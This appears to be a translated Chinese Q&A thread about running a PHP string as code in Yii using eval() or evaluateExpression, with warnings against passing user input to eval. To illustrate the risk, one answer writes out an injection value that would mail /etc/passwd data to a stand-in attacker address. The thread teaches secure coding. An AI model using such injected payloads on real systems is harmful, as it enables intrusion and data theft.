我正在使用 Yii 框架。我想将一个 php 字符串变成 php 动作。
$var = 'echo "hello";';
//Something to do to run $var
我想打印 $var 我该怎么做?Yii 框架上有一个简单的 parse php from string 选项吗?
您可以使用eval()函数。但是,在许多情况下, eval 是邪恶的,而且通常这种编码方式会使代码更难以遵循和调试。请注意来自用户的潜在不安全输入,因为,例如,如果您这样做了
eval('echo "$var"')
并且 $var 是直接从 $_POST 设置的,可以设置
$var='lol"; mail("hacker@somewhere.com", "Some passwords", "/bin/cat /etc/passwd");'
(前提是该网络服务器在可以访问此类功能和目录的用户之下;即使不是,它也提供了大量利用此类漏洞的机会)。所以,通常eval 是个坏主意,但有时它是唯一的解决方案。无论如何,要非常小心。
$this->evaluateExpression($var);
eval — 将字符串计算为 PHP 代码
将给定的代码评估为 PHP。
注意 eval() 语言结构非常危险,因为它允许执行任意 PHP 代码。因此不鼓励使用它。如果您已仔细验证除了使用此构造之外别无选择,请特别注意不要将任何用户提供的数据传入其中,而无需事先正确验证。